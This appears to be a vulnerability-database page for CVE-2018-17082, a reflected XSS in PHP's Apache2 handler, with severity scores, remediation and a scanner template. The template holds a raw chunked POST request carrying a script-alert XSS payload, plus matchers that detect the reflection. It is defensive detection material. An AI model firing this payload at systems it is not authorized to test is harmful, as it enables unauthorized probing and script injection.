/Vulnerability Library

Apache2 - Transfer-Encoding Chunked XSS

CVE-2018-17082
Verified

Description

Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.

Severity

Medium

CVSS Score

6.1

Exploit Probability

4%

Affected Product

php

Published Date

December 1, 2025

Template Author

dhiyaneshdk

CVE-2018-17082.yaml
id: CVE-2018-17082

info:
  name: Apache2 - Transfer-Encoding Chunked XSS
  author: DhiyaneshDK
  severity: medium
  description: |
    Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.
  impact: |
    Attackers can execute malicious scripts in the context of the affected server, leading to potential session hijacking or data theft.
  remediation: |
    Update to PHP 5.6.38, 7.0.32, 7.1.22, or 7.2.10 or later versions.
  reference:
    - https://bugs.php.net/bug.php?id=76582
    - https://github.com/php/php-src/commit/23b057742e3cf199612fa8050ae86cae675e214e
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17082
    - https://security.gentoo.org/glsa/201812-01
    - https://github.com/ockeghem/web-sec-study/blob/master/why-CVE-2018-17082-is-not-XSS/README.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-17082
    cwe-id: CWE-79
    epss-score: 0.04436
    epss-percentile: 0.89251
    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: php
    product: php
  tags: cve,cve2018,php,apache,xss,chunked

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Transfer-Encoding: chunked

        <script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Bad Request<script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 400
# digest: 4a0a00473045022030e818bd528f91d2f0824b712884134fa05744a0b308705f1fbed56d1856b8d0022100e8168e02c637a91a1e236c4eb9b56b65e49672da22f23bf57eb6c01a2da69eed:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2018-17082
CWE ID:
cwe-79

References

https://bugs.php.net/bug.php?id=76582https://github.com/php/php-src/commit/23b057742e3cf199612fa8050ae86cae675e214ehttps://nvd.nist.gov/vuln/detail/CVE-2018-17082https://security.gentoo.org/glsa/201812-01https://github.com/ockeghem/web-sec-study/blob/master/why-CVE-2018-17082-is-not-XSS/README.md

Remediation Steps

Update to PHP 5.6.38, 7.0.32, 7.1.22, or 7.2.10 or later versions.